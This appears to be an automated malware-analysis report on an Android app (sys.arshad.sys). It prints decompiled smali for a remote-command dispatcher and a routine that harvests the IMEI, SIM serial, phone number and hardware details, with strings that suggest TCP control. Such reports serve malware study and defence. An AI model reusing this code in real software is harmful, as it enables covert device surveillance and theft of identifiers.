1563pswitch_8a5:
1564iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1566iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1567const/4 v1, 0x1
1568aget-object v1, v6, v1
1570invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1571move-result v0
1572if-eq v0, v2, :cond_74
1574invoke-virtual {p0}, Lsys/arshad/sys/MainActivity$b;->g()V
1575goto/16 :goto_74
1576pswitch_8b7:
1577iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1579iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1580const/4 v1, 0x1
1581aget-object v1, v6, v1
1583invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1584move-result v0
1585if-eq v0, v2, :cond_74
1586const/4 v0, 0x2
1587aget-object v0, v6, v0
1589invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1590move-result-object v0
1592invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->c(Ljava/lang/String;)Ljava/lang/String;
1593goto/16 :goto_74
1594pswitch_8d0:
1595iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1597iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1598const/4 v1, 0x1
1599aget-object v1, v6, v1
1601invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1602move-result v0
1603if-eq v0, v2, :cond_74
1604const/4 v0, 0x2
1605aget-object v0, v6, v0
1607invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1608move-result-object v0
1610invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->d(Ljava/lang/String;)Ljava/lang/String;
1611goto/16 :goto_74
1612pswitch_8e9:
1613iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1615iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1616const/4 v1, 0x1
1617aget-object v1, v6, v1
1619invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1620move-result v0
1621if-eq v0, v2, :cond_74
1622const/4 v0, 0x2
1623aget-object v0, v6, v0
1625invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1626move-result-object v0
1628invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->e(Ljava/lang/String;)Ljava/lang/String;
1629goto/16 :goto_74
1630pswitch_902:
1631iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1633iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1634const/4 v1, 0x1
1635aget-object v1, v6, v1
1637invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1638move-result v0
1639if-eq v0, v2, :cond_74
1640const/4 v0, 0x2
1641aget-object v0, v6, v0
1643invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1644move-result-object v0
1646invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->f(Ljava/lang/String;)Ljava/lang/String;
1647goto/16 :goto_74
1648pswitch_91b:
1649iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1651iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1652const/4 v1, 0x1
1653aget-object v1, v6, v1
1655invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1656move-result v0
1657if-eq v0, v2, :cond_74
1658new-instance v0, Ljava/lang/StringBuilder;
1660invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
1661const/4 v1, 0x2
1662aget-object v1, v6, v1
1664invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
1665move-result-object v1
1667invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
1668move-result-object v0
1670const-string v1, ":"
1672invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: :
1673move-result-object v0
1674const/4 v1, 0x3
1675aget-object v1, v6, v1
1677invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
1678move-result-object v1
1680invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
1681move-result-object v0
1683invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
1684move-result-object v0
1686invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->n(Ljava/lang/String;)V
1687goto/16 :goto_74
1688pswitch_952:
1689iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1691iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1692const/4 v1, 0x1
1693aget-object v1, v6, v1
1695invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1696move-result v0
1697if-eq v0, v2, :cond_74
1698new-instance v0, Ljava/lang/StringBuilder;
1700invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
1701const/4 v1, 0x2
1702aget-object v1, v6, v1
1704invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
1705move-result-object v1
1707invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
1708move-result-object v0
1710const-string v1, ":"
1712invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: :
1713move-result-object v0
1714const/4 v1, 0x3
1715aget-object v1, v6, v1
1717invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
1718move-result-object v1
1720invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
1721move-result-object v0
1723invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
1724move-result-object v0
1726iget-object v1, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1728invoke-static {v1, v0}, Lsys/arshad/sys/MainActivity;->j(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)V
1729goto/16 :goto_74
1730pswitch_98b:
1731iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1733iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1734const/4 v1, 0x1
1735aget-object v1, v6, v1
1737invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1738move-result v0
1739if-eq v0, v2, :cond_74
1741invoke-direct {p0}, Lsys/arshad/sys/MainActivity$b;->u()V
1742goto/16 :goto_74
1743pswitch_99d:
1744iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1746iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1747const/4 v1, 0x1
1748aget-object v1, v6, v1
1750invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1751move-result v0
1752if-eq v0, v2, :cond_74
1754invoke-direct {p0}, Lsys/arshad/sys/MainActivity$b;->v()V
1755goto/16 :goto_74
1756pswitch_9af:
1757iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1759iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1760const/4 v1, 0x1
1761aget-object v1, v6, v1
1763invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1764move-result v0
1765if-eq v0, v2, :cond_74
1766const/4 v0, 0x2
1767aget-object v0, v6, v0
1769invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1770move-result-object v0
1772invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->g(Ljava/lang/String;)Ljava/lang/String;
1773goto/16 :goto_74
1774pswitch_9c8:
1775iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1777iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1778const/4 v1, 0x1
1779aget-object v1, v6, v1
1781invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1782move-result v0
1783if-eq v0, v2, :cond_74
1784const/4 v0, 0x2
1785aget-object v0, v6, v0
1787invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->p(Ljava/lang/String;)V
1788goto/16 :goto_74
1789pswitch_9dd:
1790iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1792iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1793const/4 v1, 0x1
1794aget-object v1, v6, v1
1796invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1797move-result v0
1798if-eq v0, v2, :cond_74
1800iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1802invoke-static {v0}, Lsys/arshad/sys/MainActivity;->E(Lsys/arshad/sys/MainActivity;)V
1803goto/16 :goto_74
1804pswitch_9f1:
1805iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1807iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1808const/4 v1, 0x1
1809aget-object v1, v6, v1
1811invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1812move-result v0
1813if-eq v0, v2, :cond_74
1814const/4 v0, 0x2
1815aget-object v0, v6, v0
1817invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1818move-result-object v0
1820invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->h(Ljava/lang/String;)Ljava/lang/String;
1821goto/16 :goto_74
1822pswitch_a0a:
1823iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1825iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1826const/4 v1, 0x1
1827aget-object v1, v6, v1
1829invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1830move-result v0
1831if-eq v0, v2, :cond_74
1832const/4 v0, 0x2
1833aget-object v0, v6, v0
1834const/4 v1, 0x3
1835aget-object v1, v6, v1
1837invoke-direct {p0, v0, v1}, Lsys/arshad/sys/MainActivity$b;->e(Ljava/lang/String;Ljava/lang/String;)V
1838goto/16 :goto_74
1839pswitch_a22:
1840iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1842iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1843const/4 v1, 0x1
1844aget-object v1, v6, v1
1846invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1847move-result v0
1848if-eq v0, v2, :cond_74
1849const/4 v0, 0x2
1850aget-object v0, v6, v0
1851const/4 v1, 0x3
1852aget-object v1, v6, v1
1853const/4 v2, 0x4
1854aget-object v2, v6, v2
1856invoke-virtual {p0, v0, v1, v2}, Lsys/arshad/sys/MainActivity$b;->b(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
1857goto/16 :goto_74
1858pswitch_a3d:
1859iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1861iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1862const/4 v1, 0x1
1863aget-object v1, v6, v1
1865invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1866move-result v0
1867if-eq v0, v2, :cond_74
1868const/4 v0, 0x2
1869aget-object v0, v6, v0
1871invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1872move-result-object v0
1874invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->q(Ljava/lang/String;)V
1875goto/16 :goto_74
1876pswitch_a56:
1877iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1879iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1880const/4 v1, 0x1
1881aget-object v1, v6, v1
1883invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1884move-result v0
1885if-eq v0, v2, :cond_74
1886const/4 v0, 0x3
1887aget-object v0, v6, v0
1888const/4 v1, 0x2
1889aget-object v1, v6, v1
1891invoke-virtual {p0, v0, v1}, Lsys/arshad/sys/MainActivity$b;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
1892goto/16 :goto_74
1893pswitch_a6e:
1894iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1896iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1897const/4 v1, 0x1
1898aget-object v1, v6, v1
1900invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1901move-result v0
1902if-eq v0, v2, :cond_74
1904iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1905const/4 v1, 0x2
1906aget-object v1, v6, v1
1908invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
1909move-result-object v1
1911invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->b(Ljava/lang/String;)V
1912goto/16 :goto_74
1913pswitch_a89:
1914iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1916iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1917const/4 v1, 0x1
1918aget-object v1, v6, v1
1920invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1921move-result v0
1922if-eq v0, v2, :cond_74
1923const/4 v0, 0x2
1924aget-object v0, v6, v0
1926invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->r(Ljava/lang/String;)V
1927goto/16 :goto_74
1928pswitch_a9e:
1929iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1931iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1932const/4 v1, 0x1
1933aget-object v1, v6, v1
1935invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1936move-result v0
1937if-eq v0, v2, :cond_74
1938const/4 v0, 0x2
1939aget-object v0, v6, v0
1941invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->s(Ljava/lang/String;)V
1942goto/16 :goto_74
1943pswitch_ab3:
1944iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1946iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1947const/4 v1, 0x1
1948aget-object v1, v6, v1
1950invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1951move-result v0
1952if-eq v0, v2, :cond_74
1953const/4 v0, 0x2
1954aget-object v0, v6, v0
1956iget-object v1, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1958iget-object v1, v1, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1960invoke-virtual {p0, v1, v0}, Lsys/arshad/sys/MainActivity$b;->b(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
1961goto/16 :goto_74
1962pswitch_acc:
1963iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1965iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1966const/4 v1, 0x1
1967aget-object v1, v6, v1
1969invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1970move-result v0
1971if-eq v0, v2, :cond_74
1972const/4 v0, 0x2
1973aget-object v0, v6, v0
1974const/4 v1, 0x3
1975aget-object v1, v6, v1
1977invoke-direct {p0, v0, v1}, Lsys/arshad/sys/MainActivity$b;->f(Ljava/lang/String;Ljava/lang/String;)V
1978goto/16 :goto_74
1979pswitch_ae4:
1980iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1982iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1983const/4 v1, 0x1
1984aget-object v1, v6, v1
1986invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1987move-result v0
1988if-eq v0, v2, :cond_74
1989const/4 v0, 0x2
1990aget-object v0, v6, v0
1991const/4 v1, 0x3
1992aget-object v1, v6, v1
1994invoke-direct {p0, v0, v1}, Lsys/arshad/sys/MainActivity$b;->g(Ljava/lang/String;Ljava/lang/String;)V
1995goto/16 :goto_74
1996pswitch_afc:
1997iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1999iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
2000const/4 v1, 0x1
2001aget-object v1, v6, v1
2003invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
2004move-result v0
2005if-eq v0, v2, :cond_74
2006const/4 v0, 0x0
2008invoke-static {v0}, Ljava/lang/System;->exit(I)V
  • Data flow analysis:
    • p0: 0
2009goto/16 :goto_74
2010pswitch_b0f:
2011iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2013iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
2014const/4 v1, 0x1
2015aget-object v1, v6, v1
2017invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
2018move-result v0
2019if-eq v0, v2, :cond_74
2021iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2023invoke-static {v0}, Lsys/arshad/sys/MainActivity;->F(Lsys/arshad/sys/MainActivity;)V
2024goto/16 :goto_74
2025pswitch_b23:
2026iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2028iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
2029const/4 v1, 0x1
2030aget-object v1, v6, v1
2032invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
2033move-result v0
2034if-eq v0, v2, :cond_74
2036sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
2038const-string v1, "**********************************"
2040invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: **********************************
2041const/4 v0, 0x2
2042aget-object v0, v6, v0
2044invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
2045move-result-object v0
2046sput-object v0, Lsys/arshad/sys/MainActivity;->v:Ljava/lang/String;
2047const/4 v0, 0x3
2048aget-object v0, v6, v0
2050invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
2051move-result-object v0
2052sput-object v0, Lsys/arshad/sys/MainActivity;->w:Ljava/lang/String;
2053const/4 v0, 0x4
2054aget-object v0, v6, v0
2056invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
2057move-result-object v0
2058sput-object v0, Lsys/arshad/sys/MainActivity;->x:Ljava/lang/String;
2060iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2062invoke-static {v0}, Lsys/arshad/sys/MainActivity;->G(Lsys/arshad/sys/MainActivity;)V
2063goto/16 :goto_74
2064pswitch_b59:
2065iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2067iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
2068const/4 v1, 0x1
2069aget-object v1, v6, v1
2071invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
2072move-result v0
2073if-eq v0, v2, :cond_74
2074const/4 v0, 0x2
2075aget-object v0, v6, v0
2076const/4 v1, 0x3
2077aget-object v1, v6, v1
2078const/4 v2, 0x4
2079aget-object v2, v6, v2
2080const/4 v3, 0x1
2082invoke-direct {p0, v0, v1, v2, v3}, Lsys/arshad/sys/MainActivity$b;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;I)V
  • Data flow analysis:
    • p3: 1
2083goto/16 :goto_74
2084pswitch_b75:
2085iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2087iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
2088const/4 v1, 0x1
2089aget-object v1, v6, v1
2091invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
2092move-result v0
2093if-eq v0, v2, :cond_74
2094goto/16 :goto_74
2095pswitch_b84:
2096iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2098iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
2099const/4 v1, 0x1
2100aget-object v1, v6, v1
2102invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
2103move-result v0
2104if-eq v0, v2, :cond_74
2106iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2107const/4 v1, 0x2
2108aget-object v1, v6, v1
2110invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
2111move-result-object v1
2113invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->c(Ljava/lang/String;)V
2114goto/16 :goto_74
2115pswitch_b9f:
2116iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2118iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
2119const/4 v1, 0x1
2120aget-object v1, v6, v1
2122invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
2123move-result v0
2124if-eq v0, v2, :cond_74
2126iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2127const/4 v1, 0x2
2128aget-object v1, v6, v1
2130invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
2131move-result-object v1
2133invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->k(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)V
2134goto/16 :goto_74
2135pswitch_bba:
2136iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2138iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
2139const/4 v1, 0x1
2140aget-object v1, v6, v1
2142invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
2143move-result v0
2144if-eq v0, v2, :cond_74
2145const/4 v0, 0x2
2146aget-object v0, v6, v0
2148invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
2149move-result-object v0
2150const/4 v1, 0x3
2151aget-object v1, v6, v1
2153invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
2154move-result-object v1
2155const/4 v2, 0x4
2156aget-object v2, v6, v2
2158invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
2159move-result-object v2
2161invoke-virtual {p0, v0, v1, v2}, Lsys/arshad/sys/MainActivity$b;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
2162goto/16 :goto_74
2163pswitch_be1: const/4 v0, 0x1
2164aget-object v0, v6, v0
2166invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->t(Ljava/lang/String;)V
2167goto/16 :goto_74
2168pswitch_be9:
2169iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2171iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
2172const/4 v1, 0x1
2173aget-object v1, v6, v1
2175invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
2176move-result v0
2177if-eq v0, v2, :cond_74
2178const/4 v0, 0x0
2180invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->b(I)V
  • Data flow analysis:
    • p0: 0
2181goto/16 :goto_74
2182pswitch_bfc:
2183iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
2185iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
2186const/4 v1, 0x1
2187aget-object v1, v6, v1
2189invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
2190move-result v0
2191if-eq v0, v2, :cond_74
2192const/4 v0, 0x1
2194invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->b(I)V
  • Data flow analysis:
    • p0: 1
2195try_end_c0d: goto/16 :goto_74
2196nop
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • android.os.PowerManager.isScreenOn
  • android.app.KeyguardManager.inKeyguardRestrictedInputMode
  • sys.arshad.sys.MainActivity.getSystemService
  • android.telephony.TelephonyManager.getSimSerialNumber
  • android.telephony.TelephonyManager.getDeviceId
  • android.telephony.TelephonyManager.getLine1Number
  • sys.arshad.sys.MainActivity.getSystemService
  • android.telephony.TelephonyManager.getNetworkCountryIso
  • android.telephony.TelephonyManager.getSimCountryIso
  • sys.arshad.sys.MainActivity$b.a
  • java.util.Locale.getDefault
  • java.util.Locale.getDisplayLanguage
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Runtime.getRuntime
  • java.lang.Runtime.totalMemory
  • java.lang.StringBuilder.append
  • java.lang.Runtime.getRuntime
  • java.lang.Runtime.freeMemory
  • java.lang.StringBuilder.append
  • java.lang.Runtime.getRuntime
  • java.lang.Runtime.maxMemory
  • java.lang.StringBuilder.append
  • sys.arshad.sys.MainActivity$b.a
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • [(0)Ln]
  • screen : = false
  • locked : = false
  • keyguard
  • power
  • locked : = true
  • screen : = true
  • phone
  • unknown
  • B3:::IMEI :
  • simID :
  • telNumber :
  • MODEL :
  • BOARD :
  • BOOTLOADER :
  • BRAND :
  • DEVICE :
  • DISPLAY :
  • FINGERPRINT :
  • HARDWARE :
  • HOST :
  • ID :
  • MANUFACTURER :
  • PRODUCT :
  • SERIAL :
  • TAGS :
  • TYPE :
  • UNKNOWN :
  • USER :
  • CPU_ABI :
  • CPU_ABI2 :
  • RADIO :
  • TIME :
  • NetworkCountryIso :
  • SimCountryIso :
  • Language :
  • Battery Level Remaining :
  • VERSION android :
  • Total memory :
  • Free memory :
  • Max memory :
  • USB :
  • [(0)tcp]
Position Instruction Meta Information
1const-string v6, "[(0)Ln]"
3const-string v4, "screen : = false"
5const-string v5, "locked : = false"
6move-object/from16 v0, p0
8iget-object v2, v0, Lsys/arshad/sys/MainActivity$b$22;->a:Lsys/arshad/sys/MainActivity$b;
10iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
12const-string v3, "keyguard"
14invoke-virtual {v2, v3}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: keyguard
15move-result-object v2
16check-cast v2, Landroid/app/KeyguardManager;
17move-object/from16 v0, p0
19iget-object v3, v0, Lsys/arshad/sys/MainActivity$b$22;->a:Lsys/arshad/sys/MainActivity$b;
21iget-object v3, v3, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
23const-string v7, "power"
25invoke-virtual {v3, v7}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: power
26move-result-object v3
27check-cast v3, Landroid/os/PowerManager;
29invoke-virtual {v3}, Landroid/os/PowerManager;->isScreenOn()Z
30move-result v3
32invoke-virtual {v2}, Landroid/app/KeyguardManager;->inKeyguardRestrictedInputMode()Z
33move-result v2
34if-eqz v2, :cond_2f
36const-string v2, "locked : = true"
37move-object v5, v2
38cond_2f: const/4 v2, 0x1
39if-ne v3, v2, :cond_2ec
41const-string v2, "screen : = true"
42move-object v3, v2
43goto_35: move-object/from16 v0, p0
45iget-object v2, v0, Lsys/arshad/sys/MainActivity$b$22;->a:Lsys/arshad/sys/MainActivity$b;
47iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
49const-string v4, "phone"
51invoke-virtual {v2, v4}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: phone
52move-result-object v2
53check-cast v2, Landroid/telephony/TelephonyManager;
